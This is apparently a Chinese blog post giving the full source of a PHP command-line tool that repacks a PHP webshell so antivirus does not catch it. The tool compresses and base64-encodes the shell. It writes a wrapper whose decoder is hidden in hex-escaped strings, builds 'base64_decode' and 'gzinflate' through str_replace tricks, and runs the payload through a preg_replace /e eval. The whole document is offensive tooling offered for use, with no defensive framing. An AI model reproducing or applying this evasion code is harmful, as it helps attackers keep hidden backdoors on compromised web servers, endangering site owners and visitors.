php shell超强免杀、减少体积工具实现代码

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>